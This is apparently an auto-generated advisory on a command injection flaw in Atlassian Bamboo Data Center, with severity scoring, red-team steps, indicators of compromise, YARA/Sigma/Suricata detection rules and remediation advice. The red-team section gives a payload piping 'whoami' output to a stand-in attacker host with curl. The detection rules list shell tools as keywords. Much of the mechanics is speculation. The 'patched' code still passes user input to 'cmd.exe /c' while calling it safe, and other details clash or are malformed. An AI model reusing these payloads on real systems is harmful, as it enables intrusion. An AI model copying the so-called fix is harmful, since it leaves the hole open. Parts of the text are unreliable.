CVE-2026-21571

Executive Summary

CVE-2026-21571 is a critical severity OS Command Injection vulnerability in Atlassian Bamboo Data Center. An authenticated attacker can exploit this flaw to achieve remote code execution (RCE) on the underlying server. The vulnerability affects multiple versions of Bamboo Data Center, including 9.6.0, 10.0.0, 10.1.0, 10.2.0, 11.0.0, 11.1.0, 12.0.0, and 12.1.0. The CVSS v4.0 score is 9.4, indicating a critical threat to confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the potential for full system compromise. Atlassian has released patches in versions 9.6.25, 10.2.18, and 12.1.6.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the Bamboo Data Center application. Organizations using Bamboo Data Center should treat this as a critical supply chain risk, as the software is a core CI/CD component.

CVSS Breakdown & Threat Level

• CVSS v4.0 Score: 9.4 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Attack Requirements (AT): None (N) – No prerequisites.
• Privileges Required (PR): Low (L) – Attacker needs valid credentials.
• User Interaction (UI): None (N) – No user action needed.
• Confidentiality Impact (VC): High (H) – Full data access.
• Integrity Impact (VI): High (H) – Full system modification.
• Availability Impact (VA): High (H) – Full system disruption.
• Subsequent System Confidentiality (SC): High (H) – Impact on other systems.
• Subsequent System Integrity (SI): High (H) – Impact on other systems.
• Subsequent System Availability (SA): High (H) – Impact on other systems.

Threat Level: Critical. An authenticated attacker can execute arbitrary OS commands, leading to full server compromise and lateral movement.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection (CWE-78) in Bamboo Data Center. The flaw exists in how the application handles user-supplied input when constructing system commands. An authenticated attacker can inject arbitrary commands into a vulnerable parameter, which are then executed by the operating system with the privileges of the Bamboo process.

Root Cause: Insufficient sanitization of user input before passing it to a shell execution function (e.g., Runtime.exec() in Java or similar). The application likely concatenates user input directly into a command string without proper escaping or validation.

Attack Vector: The attacker must be authenticated to Bamboo Data Center. The injection point is likely in a feature that allows users to specify system commands or paths, such as in build plans, agent configuration, or plugin management.

Impact: Successful exploitation allows the attacker to execute arbitrary commands on the Bamboo server. This can lead to:

• Data exfiltration (e.g., source code, credentials, secrets).
• Installation of backdoors or malware.
• Disruption of CI/CD pipelines.
• Lateral movement to other systems within the network.

Vulnerable vs. Patched Code

The exact vulnerable code is not publicly disclosed, but the patch likely involves proper input validation and escaping. Below is a conceptual example.

Vulnerable Code (Java-like pseudocode):

String userInput = request.getParameter("command");
String cmd = "cmd.exe /c " + userInput;
Runtime.getRuntime().exec(cmd);

Patched Code (Java-like pseudocode):

String userInput = request.getParameter("command");
// Validate input against a whitelist
if (!isValidCommand(userInput)) {
    throw new SecurityException("Invalid command");
}
// Use a safe API that does not invoke a shell
ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", userInput);
pb.start();

The patched version uses ProcessBuilder which does not interpret shell metacharacters, or implements strict input validation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid credentials for Bamboo Data Center (e.g., a user with permissions to create or modify build plans).
• Network access to the Bamboo server.

Exploitation Steps:

1. Authenticate to Bamboo Data Center.
2. Identify a vulnerable endpoint (e.g., a form field that accepts a command or path).
3. Inject a malicious command using shell metacharacters (e.g., ;, |, &&).
4. Execute the payload to achieve RCE.

Example Payload (conceptual):

; whoami

Or:

| curl http://attacker.com/$(whoami)

Lab Setup:

• Use a vulnerable version of Bamboo Data Center (e.g., 12.1.0) in an isolated environment.
• Tools: Burp Suite, Metasploit (if a module becomes available), custom scripts.

Blue Team (Defensive)

Detection:

• Monitor for unusual process executions from the Bamboo service account.
• Look for shell metacharacters in HTTP requests to Bamboo endpoints.
• Use the detection rules below.

Hunting:

• Search logs for commands like whoami, id, curl, wget, or nc originating from the Bamboo server.
• Review Bamboo audit logs for suspicious build plan modifications.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown IPs/domains from the Bamboo server.
  • HTTP requests containing shell metacharacters (;, |, &&, `).
• Host:
  • Unusual processes spawned by the Bamboo service (e.g., cmd.exe, /bin/sh, python).
  • New files in temporary directories (e.g., /tmp/, C:\Windows\Temp\).
  • Modified system binaries or configuration files.
• Logs:
  • Bamboo application logs showing errors related to command execution.
  • System logs (e.g., auth.log, security.evtx) showing privilege escalation attempts.

Detection Engineering

YARA Rule

rule CVE_2026_21571_Bamboo_RCE {
    meta:
        description = "Detects potential OS command injection in Bamboo Data Center logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-21571"
    strings:
        $cmd1 = /(;|\||&&|`)[a-z]+/ nocase
        $cmd2 = /(whoami|id|curl|wget|nc|bash|powershell)/ nocase
    condition:
        any of ($cmd1) and any of ($cmd2)
}

Sigma Rule

title: CVE-2026-21571 - Bamboo Data Center OS Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2026-21571 via HTTP request patterns
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
        c-uri|contains:
            - 'whoami'
            - 'id'
            - 'curl'
            - 'wget'
    condition: selection
falsepositives:
    - Legitimate use of special characters in build plan names
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-21571 - Bamboo Data Center OS Command Injection"; flow:to_server; content:"POST"; http_method; content:"/rest/"; http_uri; pcre:"/(;|\||&&|`).*(whoami|id|curl|wget)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Bamboo Data Center to a patched version:
   • 9.6.0 → 9.6.25 or later
   • 10.2.0 → 10.2.18 or later
   • 12.1.0 → 12.1.6 or later
2. If immediate upgrade is not possible, restrict network access to the Bamboo server and enforce strong authentication.

Long-term Mitigations:

• Implement Web Application Firewall (WAF) rules to block shell metacharacters.
• Apply the principle of least privilege to Bamboo service accounts.
• Regularly audit and review Bamboo configurations.
• Enable comprehensive logging and monitoring.

Workarounds:

• Disable any unnecessary features that allow user-supplied commands.
• Use a reverse proxy to filter malicious requests.

Report generated by Valters IT DevSecOps & CTI Framework

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